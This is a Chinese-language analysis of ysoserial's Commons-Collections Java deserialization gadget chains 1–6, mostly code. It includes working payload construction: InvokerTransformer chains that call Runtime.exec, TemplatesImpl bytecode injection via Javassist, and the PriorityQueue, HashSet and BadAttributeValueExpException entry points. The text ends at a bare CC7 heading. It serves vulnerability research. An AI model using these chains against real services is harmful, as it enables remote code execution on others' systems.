Commons-Collections1
首先构造transformers反射链,调用ChainedTransformer方法封装transformers数组,串联三次反射。
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec",new Class[] { String.class }, execArgs) }; final Transformer transformerChain = new ChainedTransformer(transformers);
InvokerTransformer sink点解析:
首先跟踪base sink点 InvokerTransformer#transform 方法,以及InvokerTransformer构造方法。在InvokerTransformer#transform(Object input)方法中调用了invoke方法
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
invoke方法存在三个输入点,分别是method对象,input和this.iArgs两个形参。其中input作为transform的传入参数(此参数是否可控取决于transform方法被调用时,传入参数是否可控)。this.iArgs是可以通过调用InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)构造方法进行赋值。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
method对象可以通过调用cls.getMethod(this.iMethodName, this.iParamTypes)获取,其中getMethod方法的两个形参,也均可以通过调用上述的InvokerTransformer构造方法进行赋值。此时的method方法可以是任意类中的任意方法对象。
此时,如果可以控制transform方法的传入参数,就可以通过invoke方法,调用任意类中的任意方法。
目前存在的问题:
(1)如果可以找到满足条件的transform方法,也仅仅可以调用一次反射。然而构造一个可以执行任意命令的恶意Runtime对象,需要调用三次反射。
(2)如何控制控制InvokerTransformer#transform方法的传入参数
针对问题1,工具作者找到了ChainedTransformer类。
通过调用ChainedTransformer构造函数,生成Transformer数组对象。
public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; }
且调用ChainedTransformer#transform方法,可以依次调用Transformer数组中的Transformer对象,因此完成transform三次反射方法的串联。
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
针对问题2,工具作者找到了ConstantTransformer类,通过调用ConstantTransformer构造方法,可以为iConstant属性赋值
public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; }
由于ConstantTransformer继承Transformer接口,同样也可以装载到Transformer数组中,调用transform方法。ConstantTransformer#transform(Object input)方法会返回之前可控的iConstant属性,进而控制InvokerTransformer#transform方法的传入参数
此时调用装载四个transform对象的ChainedTransformer#transform方法时,则会触发反射,效果等价于下述代码。
Class clazz = Runtime.class; Object obj1 = clazz.getClass().getMethod("getMethod", new Class[]{"getRuntime".getClass(), new Class[0].getClass()}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]}); Object obj2 = obj1.getClass().getMethod("invoke", new Class[]{new Object().getClass(), new Object[0].getClass()}).invoke(obj1, new Object[]{null, new Object[0]}); Object obj3 = obj2.getClass().getMethod("exec", new Class[]{new String[]{"calc"}.getClass()}).invoke(obj2, new Object[]{new String[]{"calc"}});
此时sink点梳理完毕,接下来需要找到一个可以调用到ChainedTransformer#transform方法的source。
工具作者找到了LazyMap类来调用transform方法。当调用LazyMap#get方法时,则会调用this.factory.transform(key)方法。
public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
而其中的this.factory对象,可以通过调用decorate(Map map, Transformer factory)方法,进而调用LazyMap(Map map, Factory factory)构造方法进行控制
public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } }
此时,仅需找到调用LazyMap#get(Object key)方法的入口,即可完成上述利用链的构造。
接下来作者找到了sun.reflect.annotation.AnnotationInvocationHandler入口类,在sun.reflect.annotation.AnnotationInvocationHandler#invoke方法中,调用了this.memberValues.get(var4)方法。
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else { assert var5.length == 0; if (var4.equals("toString")) { return this.toStringImpl(); } else if (var4.equals("hashCode")) { return this.hashCodeImpl(); } else if (var4.equals("annotationType")) { return this.type; } else { Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } } }
且在AnnotationInvocationHandler构造方法中,可以为this.memberValues属性赋值。
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { this.type = var1; this.memberValues = var2; }
且AnnotationInvocationHandler继承Serializable,可以反序列化,跟踪一下反序列化入口的readObject方法。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
在readObject方法里调用this.memberValues.entrySet().iterator()方法,其中this.memberValues可以通过调用AnnotationInvocationHandler构造方法,赋值为LazyMap对象,且LazyMap对象被创建动态代理类,代理接口为Map.class,当调用Map.class类中的方法时,将会调用AnnotationInvocationHandler#invoke方法。entrySet方法是Map.class中的方法,因此会进入AnnotationInvocationHandler#invoke方法中,并调用this.memberValues.get(var4)方法,其中this.memberValues是LazyMap,因此完成了sink点的串联,完成整个gadget的构造。
Commons-Collections2
首先分析sink点,作者调用了自定义方法Gadgets.createTemplatesImpl生成TemplatesImpl对象。具体跟踪一下生成过程。
首先进入到Gadgets#createTemplatesImpl方法中。
public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); }
在类中重载createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class)方法,并传入cmd恶意命令和org.apache.xalan.xsltc.trax.TemplatesImpl.class、org.apache.xalan.xsltc.runtime.AbstractTranslet.class、org.apache.xalan.xsltc.trax.TransformerFactoryImpl.class。重点跟踪一下cmd是如何被注入在利用链中。public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception {
final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }
结合Javasist库的相关方法,分析createTemplatesImpl方法:
ClassPool pool = ClassPool.getDefault(); //创建一个ClassPool实例化对象,ClassPool是一个存放着代表class文件的CtClass类容器 pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); //将StubTransletPayload.class的路径加到类搜索路径中。(通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的问题) pool.insertClassPath(new ClassClassPath(abstTranslet)); //同理,将org.apache.xalan.xsltc.runtime.AbstractTranslet.class的路径加到类搜索路径中。 final CtClass clazz = pool.get(StubTransletPayload.class.getName()); //获取StubTransletPayload的CtClass对象,用于后续的编辑。 String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; //声明cmd属性对象,并注入传入的command参数。 clazz.makeClassInitializer().insertAfter(cmd); //clazz.makeClassInitializer() -> 新增静态代码块。 //insertAfter() -> 插入代码。 //此段代码是将cmd变量中的代码,注入到StubTransletPayload类中的静态代码块中。 clazz.setName("ysoserial.Pwner" + System.nanoTime()); //修改类名(暂不清楚具体作用是什么) CtClass superC = pool.get(abstTranslet.getName()); //获取org.apache.xalan.xsltc.runtime.AbstractTranslet对象(StubTransletPayload继承于org.apache.xalan.xsltc.runtime.AbstractTranslet) clazz.setSuperclass(superC); //将org.apache.xalan.xsltc.runtime.AbstractTranslet设置为StubTransletPayload的父类。 final byte[] classBytes = clazz.toBytecode(); 将StubTransletPayload对象转换成byte数组。 Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)}); //通过反射将StubTransletPayload对象的byte流赋值给_bytecodes属性中。 Reflections.setFieldValue(templates, "_name", "Pwnr"); //反射赋值 Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); //反射赋值工厂类。
总结上述流程,通过利用Javasist库,将恶意代码注入到自定义的StubTransletPayload类中,并将StubTransletPayload类转换成byte数组,通过反射赋值给org.apache.xalan.xsltc.trax.TemplatesImpl类中的_bytecodes属性,最终返回TemplatesImpl对象。
总结上述流程,通过利用Javasist库,将恶意代码注入到自定义的StubTransletPayload类中,并将StubTransletPayload类转换成byte数组,通过反射赋值给org.apache.xalan.xsltc.trax.TemplatesImpl类中的_bytecodes属性,最终返回TemplatesImpl对象。
此时,当实例化org.apache.xalan.xsltc.trax.TemplatesImpl类中的_bytecodes属性中的类,即可触发恶意代码执行。作者找到了TemplatesImpl#newTransformer方法加载_bytecodes中的byte字节流。public synchronized Transformer newTransformer() throws TransformerConfigurationException
{ TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }
重点跟进分析调用的getTransletInstance方法。
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
首先调用defineTransletClasses()方法加载_bytecodes。
private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
_class[i] = loader.defineClass(_bytecodes[i]) 将_bytecodes属性中的恶意字节流,赋值给TemplatesImpl#_class属性中。
回到getTransletInstance方法中,调用_class[_transletIndex].newInstance() 方法,实例化_class字节流里的类,从而触发恶意代码。
现在,需要找到一个可以调用TemplatesImpl#newTransformer方法的方式。回想一下CommonsCollections1中的可以调用任意方法的InvokerTransformer#transform(object input)方法。
将TemplatesImpl对象作为transform方法的传入参数
将newTransformer赋值给InvokerTransformer#iMethodName
找到一个可以调用InvokerTransformer#transform(object input)方法的方式
满足上述三个条件,即可实现TemplatesImpl#newTransformer方法。
其中第二个条件可以通过反射来解决,重点在于找到一个可以满足条件一和条件三的source。这里工具作者找到了java.util.PriorityQueue作为入口类。从反序列化入口PriorityQueue#readObject方法进行分析。
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }
调用heapify()方法。
private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
调用siftDown(i, (E) queue[i])方法。
private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x);
这里存在一个判断逻辑,判断条件是PriorityQueue#comparator是否为空,执行siftDownUsingComparator方法。
进入siftDownUsingComparator方法中。
private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }
通过调用siftDownUsingComparator方法,可以调用任意实现java.util.Comparator接口的类的compare方法。
此时,我们需要找到一个实现java.util.Comparator接口,并且在compare方法中调用InvokerTransformer#transform方法的类。工具作者找到了org.apache.commons.collections4.comparators.TransformingComparator类。
public int compare(I obj1, I obj2) { O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
通过调用TransformingComparator(Transformer<? super I, ? extends O> transformer)构造方法,可以为this.transformer赋值。
public TransformingComparator(Transformer<? super I, ? extends O> transformer) { this(transformer, ComparatorUtils.NATURAL_COMPARATOR); } public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer; }
通过org.apache.commons.collections4.comparators.TransformingComparator类,满足了条件一(将TemplatesImpl对象作为transform方法的传入参数)和条件三(找到一个可以调用InvokerTransformer#transform(object input)方法的方式)。
至此完成整个利用链的构建。
Commons-Collections3
CommonsCollections3的source与CommonsCollections1的source相同,都是以sun.reflect.annotation.AnnotationInvocationHandler作为入口,通过创建Map动态代理类,通过调用sun.reflect.annotation.AnnotationInvocationHandler的invoke方法,从而调用LazyMap#get方法,控制实现Transformer接口下的任意类中的transform方法。
final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); return handler;
CommonsCollections3的sink点构造思路则是和CommonsCollections2中的base sink点(将恶意字节流注入到org.apache.xalan.xsltc.trax.TemplatesImpl类中的_bytecodes属性,等待调用TemplatesImpl#newTransformer方法) 。
`Object templatesImpl = Gadgets.createTemplatesImpl(command);`
CommonsCollections3的不同之处在于,Gadget作者找到了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter类。在TrAXFilter(Templates templates)构造方法中,调用了templates.newTransformer()方法。
public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
仅需找到可以调用TrAXFilter(恶意Templates对象)方法即可。Gadget作者找到了InstantiateTransformer#transform(object input)方法,通过调用此方法实现TrAXFilter构造方法的调用。
final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[] { Templates.class },new Object[] { templatesImpl } ) } );
与InvokerTransformer#transform方类似,InstantiateTransformer#transform(object input)方法会调用传入的object对象的构造方法。
public Object transform(Object input) { try { if (input instanceof Class == false) { throw new FunctorException( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (InstantiationException ex) { throw new FunctorException("InstantiateTransformer: InstantiationException", ex); } catch (IllegalAccessException ex) { throw new FunctorException("InstantiateTransformer: Constructor must be public", ex); } catch (InvocationTargetException ex) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex); } }
如果transform方法的传入参数input可控,且iParamTypes(传入对象的构造方法)与iArgs(构造方法的传入参数)可控,即可调用任意类的构造方法。
public InstantiateTransformer(Class[] paramTypes, Object[] args) { super(); iParamTypes = paramTypes; iArgs = args; }
通过调用InstantiateTransformer构造方法可以实现对iParamTypes和iArgs参数的控制。
目前的目标是调用TrAXFilter(恶意Templates对象)构造方法,通过构造上文提到的ChainedTransformer反射链,完成如下效果:
TrAXFilter.getConstructor(Templates.class).newInstance(恶意Templates对象)
从而实现装载恶意Templates对象的TrAXFilter对象调用构造方法,实现恶意Templates对象的newTransformer调用。从而完成利用链的构造。
Commons-Collections4
CommonsCollections4的利用链构造是结合CommonsCollections2的source点(java.util.PriorityQueue)和CommonsCollections3的sink点(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter)
sink:
Object templates = Gadgets.createTemplatesImpl(command); ConstantTransformer constant = new ConstantTransformer(String.class); // mock method name until armed Class[] paramTypes = new Class[] { String.class }; Object[] args = new Object[] { "foo" }; InstantiateTransformer instantiate = new InstantiateTransformer( paramTypes, args); // grab defensively copied arrays paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); ··· Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); paramTypes[0] = Templates.class; args[0] = templates;
source:
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain)); queue.add(1); queue.add(1); return queue;
这里存在一个问题:为什么不能像CommonsCollections3一样,在实例化ConstantTransformer对象时直接传入TrAXFilter对象,以及实例化InstantiateTransformer对象时,直接传入Templates.class和Templates对象?
由于PriorityQueue作为反序列化入口类,且装载恶意对象的queue属性设置了transient关键字,所以需要调用PriorityQueue#add方法为queue属性赋值,而在赋值的过程中,会调用comparator.compare(x, (E) e)方法。
public boolean add(E e) { return offer(e); }
调用offer方法
public boolean offer(E e) { if (e == null) throw new NullPointerException(); modCount++; int i = size; if (i >= queue.length) grow(i + 1); size = i + 1; if (i == 0) queue[0] = e; else siftUp(i, e); return true; }
调用siftUpUsingComparator方法
private void siftUp(int k, E x) { if (comparator != null) siftUpUsingComparator(k, x); else siftUpComparable(k, x); }
最终调用comparator.compare(x, (E) e)方法。
private void siftUpUsingComparator(int k, E x) { while (k > 0) { int parent = (k - 1) >>> 1; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0) break; queue[k] = e; k = parent; } queue[k] = x; }
如果在调用add方法之前,调用ConstantTransformer(TrAXFilter.class)方法生成ConstantTransformer实例化对象,调用InstantiateTransformer(Templates.class, 恶意Templates对象)生成InstantiateTransformer实例化对象。在调用add方法是,会触发TransformingComparator#compare调用链,依次调用ConstantTransformer#transform方法,返回TrAXFilter对象。再调用InstantiateTransformer#transform方法,调用TrAXFilter.getConstructor((Templates.class).newInstance(templates)方法,从而在序列化之前触发了代码执行,并且抛出异常终止程序(正常流程是在服务器上反序列化,执行代码后抛出异常)。
因此为了避免程序在序列化之前中止,需要在调用add方法前,实例化不会抛出异常的正常ConstantTransformer实例化对象和InstantiateTransformer实例化对象。在执行add方法后,再通过反射将两个对象中的对应属性进行更改,完成序列化的正常运行。
CommonsCollections4的构造思路,结合CommonsCollections3的实现装载恶意Templates对象的TrAXFilter对象调用构造方法,实现恶意Templates对象的newTransformer调用的方式,生成一个恶意ChainedTransformer对象,再结合CommonsCollections2的source,通过调用PriorityQueue的构造方法,将恶意的ChainedTransformer对象赋值给PriorityQueue#comparator属性。
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); // create queue with numbers PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain)); public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) { // Note: This restriction of at least one is not actually needed, // but continues for 1.5 compatibility if (initialCapacity < 1) throw new IllegalArgumentException(); this.queue = new Object[initialCapacity]; this.comparator = comparator; }
在PriorityQueue进行反序列化时,调用comparator.compare方法,从而调用TransformingComparator.compare,进而调用ChainedTransformer.transform方法完成sink点的调用,从而实现利用链的构造。
Commons-Collections5
首先构造transformers反射链,调用ChainedTransformer方法封装transformers数组,串联三次反射。
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1) };
实例化Map对象,调用LazyMap类中的decorate方法,将transformerChain对象赋值给LazyMap#factory属性。此时调用LazyMap#get方法,且传入的key对象不在map对象中,便可以触发上文提到的反射链。
Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
实例化Map对象,调用LazyMap类中的decorate方法,将transformerChain对象赋值给LazyMap#factory属性。此时调用LazyMap#get方法,且传入的key对象不在map对象中,便可以触发上文提到的反射链。
Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
利用链作者利用TiedMapEntry类封装LazyMap对象,并通过反序列化BadAttributeValueExpException类,控制BadAttributeValueExpException#val属性,调用任意类中的toString()方法。
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException((Object)null); Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry); private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
在TiedMapEntry#toString()方法中调用TiedMapEntry#getValue方法,从而触发map.get(this.key)方法。
public String toString() { return this.getKey() + "=" + this.getValue(); } public Object getValue() { return this.map.get(this.key); }
至此完成整个利用链的构建。
Commons-Collections6
CommonsCollections6的sink链使用的依旧是InvokerTransformer反射接口,利用ChainedTransformer串联三次InvokerTransformer反射和ConstantTransformer接口,获取恶意的Runtime类。调用LazyMap.decorate方法,将恶意的ChainedTransformer赋值给LazyMap#factory,当调用LazyMap#get(Object key)方法,则会触发恶意代码的执行。(与CommonsCollections1、CommonsCollections5的sink点相同)
final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
CommonsCollections6 gadget作者找到了TiedMapEntry类,其中在TiedMapEntry#getValue()方法中调用了this.map.get(this.key)方法。
public Object getValue() { return this.map.get(this.key); }
调用TiedMapEntry(Map map, Object key)构造方法,可以为TiedMapEntry#map赋值
public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; }
在TiedMapEntry中的equals(Object obj)、hashCode()、toString()方法中都调用了TiedMapEntry#getValue()方法。这里作者选择调用TiedMapEntry#hashCode()方法
public int hashCode() { Object value = this.getValue(); return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
此时需要寻找一个调用hashCode()方法的类,并且可以串联反序列化入口类。这里Gadget作者找到了HashMap和HashSet。
在HashMap#put方法中,调用了hash方法,进而调用了hashcode方法。
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); } static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
在HashSet类的反序列化入口readObject方法中
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in any hidden serialization magic s.defaultReadObject(); // Read capacity and verify non-negative. int capacity = s.readInt(); if (capacity < 0) { throw new InvalidObjectException("Illegal capacity: " + capacity); } // Read load factor and verify positive and non NaN. float loadFactor = s.readFloat(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) { throw new InvalidObjectException("Illegal load factor: " + loadFactor); } // Read size and verify non-negative. int size = s.readInt(); if (size < 0) { throw new InvalidObjectException("Illegal size: " + size); } // Set the capacity according to the size and load factor ensuring that // the HashMap is at least 25% full but clamping to maximum capacity. capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f), HashMap.MAXIMUM_CAPACITY); // Create backing HashMap map = (((HashSet<?>)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor)); // Read in all elements in the proper order. for (int i=0; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
在进行反序列化的过程中,实例化HashMap对象,并调用了map.put(e, PRESENT)方法。如果传入的e参数可控,并且可以赋值恶意的TiedMapEntry对象,即可执行恶意代码。e参数是通过调用readObject方法获取的,所以需要找到对应的将e参数进行序列化的writeObject方法。在HashSet#writeObject方法中找到了对应方法。
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { // Write out any hidden serialization magic s.defaultWriteObject(); // Write out HashMap capacity and load factor s.writeInt(map.capacity()); s.writeFloat(map.loadFactor()); // Write out size s.writeInt(map.size()); // Write out all elements in the proper order. for (E e : map.keySet()) s.writeObject(e); }
遍历map对象中的key值,并循环调用writeObject方法进行序列化。因此,需要将恶意的TiedMapEntry对象注入到HashMap的Key值中。HashMap的key属性存储在HashMap$Node类型的HashMap#table属性中,构造反射链获取key属性。
Field f = HashSet.class.getDeclaredField("map"); Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = HashMap.class.getDeclaredField("table"); Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = node.getClass().getDeclaredField("key"); Reflections.setAccessible(keyField); keyField.set(node, entry);
通过反射出HashMap的key,并将恶意TiedMapEntry对象赋值给key属性中。至此,利用链构造完成。
Commons-Collections7
